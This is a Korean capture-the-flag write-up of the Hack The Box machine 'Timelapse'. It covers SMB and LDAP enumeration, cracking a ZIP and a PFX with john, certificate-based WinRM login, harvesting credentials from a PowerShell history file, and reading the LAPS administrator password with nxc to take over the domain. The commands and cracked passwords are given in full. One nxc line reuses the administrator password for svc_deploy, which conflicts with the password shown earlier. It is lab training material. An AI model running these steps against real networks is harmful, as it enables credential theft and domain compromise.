Ye0nny

정보 수집 (Enumeration)

포트 스캔 결과 Kerberos·LDAP·SMB·WinRM 등 전형적인 도메인 컨트롤러 포트가 열려 있었고, 도메인은 timelapse.htb였다. 호스트명을 /etc/hosts에 등록해 둔다.

rustscan -a <target-ip> -- -sC -sV -oN nmap

LDAP 익명 바인드로 조회했으나 특이사항은 없었다.

ldapsearch -x -H ldap://<target-ip> -b "" -s base namingcontexts defaultNamingContext dnsHostName

SMB는 익명(anonymous) 접근이 허용되어 공유 목록을 확인할 수 있었다.

smbmap -H timelapse.htb -u anonymous -p ''

초기 침투 (ZIP/PFX 크랙 → legacyy)

Dev 공유에 winrm_backup.zip이 있었다. 다운로드했지만 압축을 풀려면 비밀번호가 필요했다.

john으로 크랙하기 위해 zip2john으로 해시를 추출했다.

zip2john winrm_backup.zip > zip.john 

크래킹을 수행해 ZIP 비밀번호를 얻었다.

john zip.john --wordlist=/usr/share/wordlists/rockyou.txt 

ZIP 비밀번호: supremelegacy

압축을 풀면 legacyy_dev_auth.pfx 파일이 나온다. PFX는 개인키와 인증서가 함께 들어 있는 파일로, 이 역시 비밀번호로 보호되어 있었다.

마찬가지로 pfx2john으로 해시를 추출했다.

pfx2john legacyy_dev_auth.pfx > pfx.john

크래킹을 수행해 PFX 비밀번호를 얻었다.

john pfx.john --wordlist=/usr/share/wordlists/rockyou.txt 

PFX 비밀번호: thuglegacy

openssl로 PFX에서 개인키(key.pem)와 인증서(cert.pem)를 추출했다.

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes            

openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out cert.pem   

추출한 키와 인증서로 WinRM에 인증서 기반 로그인을 수행해 legacyy 계정 셸을 획득했다. (-S는 HTTPS, -c/-k는 클라이언트 인증서/키)

evil-winrm -i <target-ip> -S -c cert.pem -k key.pem

수평 이동 (Lateral Movement → svc_deploy)

PowerShell 명령 히스토리(PSReadline)에 svc_deploy의 자격증명이 평문으로 남아 있었다.

type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

획득한 svc_deploy 자격증명으로 WinRM에 로그인했다.

evil-winrm -i <target-ip> -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

권한 상승 (LAPS → Administrator)

svc_deploy 계정이 DC01.TIMELAPSE.HTB에 대해 ReadLAPSPassword 권한을 갖고 있는 것을 확인했다.

이 권한이 있으면 LAPS가 관리하는 로컬 Administrator 비밀번호(ms-Mcs-AdmPwd 속성)를 읽을 수 있다. 대상이 DC이므로 그 로컬 관리자를 읽는 것은 사실상 도메인 장악과 같다.

• https://www.pentestwiki.com/active-directory/dacl/readlapspassword#windows

Get-ADComputer -Filter * -Property 'ms-Mcs-AdmPwd'

Kali에서도 netexec(nxc)로 같은 값을 읽을 수 있다.

nxc ldap <target-ip> -u svc_deploy -p 'gI,CM-V!Tf0&UQQg}OZ5TW{{' -M laps

획득한 Administrator 비밀번호로 WinRM에 로그인해 도메인 관리자 권한을 획득했다.

evil-winrm -i <target-ip> -u Administrator -p 'gI,CM-V!Tf0&UQQg}OZ5TW{{' -S